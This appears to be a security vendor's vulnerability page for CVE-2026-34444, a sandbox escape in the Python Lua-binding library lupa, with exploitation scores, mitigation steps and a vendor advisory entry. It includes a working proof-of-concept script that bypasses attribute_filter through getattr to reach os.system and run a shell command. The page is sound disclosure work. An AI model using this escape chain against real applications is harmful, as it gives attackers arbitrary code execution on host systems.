NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍 PyPI
Not in CISA KEV

CVE-2026-34444 — lupa

CVE-2026-34444 is a CWE-284 vulnerability in lupa. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.

Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr

Also known asGHSA-69v7-xpr6-6gjmPYSEC-2026-2613
Published
Updated
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-34444.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk+0.02%
Lower risk than most CVEs51th percentile — riskier than 51% of all scored CVEsHighest risk
0.11%0.45%0.80%1.14%0.6%0.6%0.6%Aug 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐍lupa

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The attribute_filter in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.

However, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.

Details

The attribute_filter is meant to block access to attributes such as __class__, __mro__, and similar internal properties.

In practice, it only applies to direct attribute access:

  • obj.attr → filtered
  • getattr(obj, "attr") → not filtered Because of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.

An attacker can use getattr to-

  • Access __class__
  • Walk the __mro__ chain
  • Call __subclasses__()
  • Iterate over available classes
  • Find a function that exposes __globals__
  • Retrieve something like os.system

At that point, arbitrary command execution becomes straightforward.

This effectively breaks the security boundary that attribute_filter is expected to enforce.

PoC

The following example shows how the filter can be bypassed to execute os.system:'

import lupa
from lupa import LuaRuntime

def protected_attribute_filter(obj, attr_name, is_setting):
    if isinstance(attr_name, str) and attr_name.startswith('_'):
        raise AttributeError(f"Access to '{attr_name}' is forbidden")
    return attr_name

lua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)

class UserProfile:
    def __init__(self, name): self.name = name

lua.globals().user = UserProfile("test")

lua.execute("""
local py = python.builtins
local getattr = py.getattr
local setattr = py.setattr

local cls = getattr(user, "__class__")
local _, obj_cls = getattr(cls, "__mro__")

local subs = getattr(obj_cls, "__subclasses__")()
for _, c in ipairs(subs) do
    if tostring(c):find("os._wrap_close") then
        local system = getattr(getattr(c, "__init__"), "__globals__")["system"]
        setattr(user, "run", system)
        user.run("id")
    end
end
""")

Impact

An attacker who can execute Lua code can:

  • Bypass the attribute_filter
  • Access Python internals
  • Traverse the object graph
  • Reach execution primitives

This leads to full sandbox escape and arbitrary command execution in the host Python process. Any application relying on attribute_filter as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the register_builtins=False option.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐍PyPIlupaall versionsNo fix

Affected Products

1 product · 1 configurations
Application
lupascoder
≤ 2.6
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for lupa, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    The records we use list no patched version of lupa for CVE-2026-34444. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.

  3. Mitigate without a patch

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant
Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.
Source: Red Hat security advisory for CVE-2026-34444 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat Satellite 6.18satellite/foreman-mcp-server-rhel9:1780492008RHSA-2026:22993

Frequently Asked Questions

### Summary The `attribute_filter` in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua. However, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution. ### Details The `attribute_filter` is meant to block access to attributes such as `__class__`, `__mro__`, and similar internal properties. In practice, it only applies to direct attribute access: - `obj.attr` →
O3 Security · Impact-Aware SCA

Is CVE-2026-34444 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-34444: lupa RCE